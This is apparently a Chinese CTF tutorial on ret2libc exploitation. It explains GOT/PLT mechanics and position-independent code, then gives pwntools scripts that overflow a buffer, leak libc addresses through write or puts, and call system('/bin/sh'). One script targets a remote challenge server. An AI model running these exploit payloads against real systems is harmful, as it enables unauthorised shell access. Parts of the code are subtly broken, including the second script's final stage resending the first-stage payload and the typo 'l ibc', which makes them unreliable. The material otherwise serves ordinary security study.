ROP-Ret2libc学习

函数调用和访问

​ 针对于程序的逻辑了解我们可以编写两个模块,一个是程序自身的代码模块,另一个是共享对象模块。以此来学习动态链接的程序是如何进行模块内的函数调用和数据访问,共享文件如下:

1
2
3
4
5
6
7
8
9
10
got_extern.c

#include <stdio.h>

int b;

void test()
{
printf("test\n");
}

编译成32位共享对象文件:

1
gcc got_extern.c -fPIC -shared -m32 -o got_extern.so
  • -fPIC 选项是生成地址无关代码的代码,gcc 中还有另一个 -fpic 选项,差别是fPIC产生的代码较大但是跨平台性较强而fpic产生的代码较小,且生成速度更快但是在不同平台中会有限制。一般会采用fPIC选项

  • -shared 选项是生成共享对象文件

  • -m32 选项是编译成32位程序

  • -o 选项是定义输出文件的名称

编写的代码模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
got.c
#include <stdio.h>

static int a;
extern int b;
extern void test();

int fun()
{
a = 1;
b = 2;
}

int main(int argc, char const *argv[])
{
fun();
test();
printf("hey!");

return 0;
}

和共享模块一同编译:

1
gcc got.c ./got_extern.so -m32 -o got

objdump 查看反汇编代码

1
objdump -D -Mintel got

模块内部调用

​ 可以看到,main调用了fun

1
11f9:	e8 bb ff ff ff       	call   11b9 <fun>

fun函数所在地址为0x000011b9 机器码e8代表的是call指令,后面紧跟着的四个字节bb ff 代表着目的地址相对于当前指令的下一条指令的偏移,即 0x11f9 + 0×5 + (-69) = 0x11b9

0xffffbb-69的补码形式,这样一来程序无论被装载到哪里都会正常执行。

模块内部数据访问

​ 在同一个模块中,一般前面的内存区域存放着代码后面的区域存放着数据(这里指的是 .data 段),如何去访问.data段的内容。我们来看fun函数

1
2
3
4
5
6
7
8
9
10
11
12
000011b9 <fun>:
11b9: 55 push ebp
11ba: 89 e5 mov ebp,esp
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax>
11c1: 05 3f 2e 00 00 add eax,0x2e3f
11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1
11cd: 00 00 00
11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14]
11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
11dc: 90 nop
11dd: 5d pop ebp
11de: c3 ret

从上面的指令中可以看出,它先调用了 __x86.get_pc_thunk.ax() 函数:

1
2
3
00001224 <__x86.get_pc_thunk.ax>:
1224: 8b 04 24 mov eax,DWORD PTR [esp]
1227: c3 ret

这个函数的作用就是把返回地址的值放到 eax 寄存器中,也就是把0x11c1保存到eax中,然后再加上 0x2e3f ,最后再加上 0×24 。即 0x11c1 + 0x2e3f + 0×24 = 0×4024,这个值就是相对于模块加载基址的值。通过这样就能访问到模块内部.data段的数据。

利用原理

ret2libc这种攻击方式主要是针对动态链接的编译的程序,因为在正常情况下,程序中是找不到system() execve()这种系统函数的(如果有这些系统函数的程序就可以直接控制返回地址指向他们,就不用再通过这麻烦的方法了)

​ 因为程序是动态链接生成的,所以在程序运行时会调用libc.so(程序运行时会将所需要的动态链接库加载到进程空间),然后通过system execve等系统函数在内存中的地址来覆盖掉返回地址,执行例如system()getshell.

主要目的

​ 通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址

ret2libc通常可以分为下面这几类:

  • 程序中自身就含有system函数和”/bin/sh”字符串
  • 程序中自身就有system函数,但是没有”/bin/sh”字符串
  • 程序中自身就没有system函数和”/bin/sh”字符串,但给出了libc.so文件
  • 程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件

基本思路

​ 针对于上面的几类ret2libc ,不管程序有没有直接给出我们需要条件,我们都要想办法得到system函数和字符串/bin/sh的地址

​ 当程序中没有字符串/bin/sh时我们可以利用程序中某些函数如:read,fgets,gets等函数将/bin/sh字符串写入bss

​ 对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和/bin/sh字符串

​ 最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过ldd查询来找出其使用libc.so版本是哪一个,然后再去找system()函数和/bin/sh字符串

解题步骤

确定程序使用的libc库,通过命令ldd查看

利用cyclic算出多少字节溢出。

泄露泄露函数真实地址得到基地址

  • 这里要使用output函数,例如puts和write函数(该函数的特征必须为可以输出地址数据的函数)

    • puts构造payload(泄露puts函数地址)

      1
      2
      3
      4
      5
      puts_plt_addr =elf.plt['puts']
      puts_got_addr =elf.got['puts']
      main_addr =elf.sym['_start']
      payload = "a"*溢出位
      payload += p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)
  • write构造payload(泄露write函数地址)

    1
    2
    3
    4
    5
    write_plt_addr =elf.plt['write']
    write_got_addr =elf.got['write']
    main_addr =elf.sym['main']
    payload = "a"*溢出位
    payload += p32(write_plt_addr)+p32(main_addr)+p32(1)+p32(write_got_addr)+p32(4)

发送payload完成第一次溢出

1
2
3
sh.sendlineafter('pwned me!\n',payload)
libc_write_addr = l ibc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr

再利用第一次得到的基地址来得到system/bin/sh的真实地址getshell

1
2
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr+libc.search('/bin/sh').next()

利用这两个地址构造二次溢出的payload

1
2
3
4
max_payload = "a"*52
max_payload += p32(system_addr)
max_payload += p32(0x00000000)
max_payload += p32(binsh_addr)

最后发送payload即可完成溢出

1
2
sh.sendlineafter("pwned me!\n",max_payload)
sh.interactive()

例题

Ret2libc_32

​ 先算出溢出位

利用write泄露地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#-*-coding:utf-8
from pwn import *
#sh = process("./ret2libc_32")
sh = remote('120.79.17.251',10008)
elf = ELF("./ret2libc_32")
#libc = ELF('/home/ly0n/pwn/tools/libc6-i386_2.23-0ubuntu10_amd64.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#context.log_level='debug'
write_got_addr =elf.got['write']
write_plt_addr =elf.plt['write']
main_addr =elf.sym['main']
print "----------------------------"
print hex(main_addr)
print hex(write_got_addr)
print hex(write_plt_addr)
payload = "a"*60
payload += p32(write_plt_addr)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)
sh.sendlineafter('pwned me!\n',payload)
#print hex(u32(sh.recv(4)))
libc_write_addr = libc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr+libc.search('/bin/sh').next()
max_payload = "a"*52
print "base:"
print hex(base_addr)
print "system:"
print hex(system_addr)
print "binsh:"
print hex(binsh_addr)
max_payload += p32(system_addr)
max_payload += p32(0)
max_payload += p32(binsh_addr)

sh.sendlineafter("pwned me!\n",max_payload)
sh.interactive()

ez_ret2libc

​ 利用puts泄露地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

sh = process('./ez_ret2libc')
#sh = remote('120.79.17.251', 10007)
#context.log_level = 'debug'
elf = ELF('./ez_ret2libc')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('/home/ly0n/pwn/tools/libc6-i386_2.23-0ubuntu10_amd64.so')



puts_plt_addr =elf.plt['puts']
puts_got_addr =elf.got['puts']
main_addr =elf.sym['_start']
payload = "a"*54
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
sh.sendlineafter('choose:',"2")
sleep(1)
sh.sendlineafter('message:',payload)
puts = u32(sh.recv(4))
puts_addr = int(puts)
print type(puts_addr)
libc_puts_addr = int(libc.sym['puts'])
base_addr = puts_addr-libc_puts_addr

system_addr = base_addr+int(libc.sym['system'])
binsh_addr = base_addr+int(libc.search('/bin/sh').next())

max_payload = 'a' * 54
print "base:"
print hex(base_addr)
print "system:"
print hex(system_addr)
print "binsh:"
print hex(binsh_addr)
max_payload += p32(system_addr)
max_payload += p32(0)
max_payload += p32(binsh_addr)

sh.sendlineafter("choose:","2")
sleep(1)
sh.sendlineafter("message:",payload)
sh.interactive()